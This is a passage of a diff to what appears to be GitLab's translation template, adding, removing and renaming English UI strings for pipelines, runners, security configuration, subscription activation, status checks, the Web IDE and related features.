+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23740,6 +24221,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23797,6 +24281,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23818,6 +24305,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -23872,6 +24362,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -23902,9 +24395,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24202,9 +24692,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24241,6 +24737,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24250,6 +24749,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24283,9 +24785,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24313,6 +24812,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24469,6 +24971,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -24823,7 +25328,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -25081,6 +25586,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25234,9 +25742,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -25711,9 +26216,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -25765,12 +26267,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25783,6 +26279,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -25795,9 +26294,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -25813,10 +26309,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -25825,9 +26321,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26575,9 +27068,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26587,6 +27077,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26685,7 +27178,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -26918,9 +27411,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -26936,6 +27426,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -27879,6 +28372,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28456,16 +28961,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28480,6 +28994,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28492,6 +29009,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28504,10 +29024,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28516,6 +29036,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28570,6 +29093,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28588,9 +29114,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28612,9 +29135,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28783,6 +29303,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -28849,6 +29372,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29083,6 +29609,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29236,9 +29765,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29473,9 +29999,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -29714,6 +30237,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29807,6 +30336,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -30044,6 +30576,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30350,6 +30885,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30365,10 +30903,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30590,18 +31131,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30635,9 +31215,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30692,6 +31269,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30797,6 +31377,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -30908,6 +31491,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -30932,6 +31518,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31043,42 +31632,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31088,18 +31728,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31118,6 +31788,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr ""
@@ -31340,6 +32013,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31494,9 +32170,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -31636,6 +32309,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31666,7 +32342,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31689,6 +32365,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -31880,6 +32559,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -31925,6 +32607,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -31943,9 +32628,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32249,9 +32931,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32318,12 +32997,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32351,6 +33024,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32414,9 +33090,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32459,9 +33132,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32585,7 +33255,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -32687,9 +33360,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33023,6 +33693,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33065,9 +33738,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33092,6 +33762,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33143,9 +33816,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33176,12 +33846,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33191,6 +33855,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33242,6 +33909,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -33417,9 +34087,6 @@ msgstr[1] ""
msgid "Time|s"
msgstr ""
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33534,9 +34201,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33654,13 +34318,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -33690,9 +34354,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -33890,6 +34551,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34115,6 +34779,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34358,6 +35025,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34517,6 +35187,9 @@ msgstr ""
msgid "Upload file"
msgstr ""
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -34838,6 +35511,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -34847,6 +35523,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -34955,27 +35634,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35108,6 +35805,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35129,6 +35829,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35240,6 +35943,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35805,15 +36511,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -35853,9 +36559,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -35883,16 +36586,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -35925,9 +36628,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36170,6 +36870,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
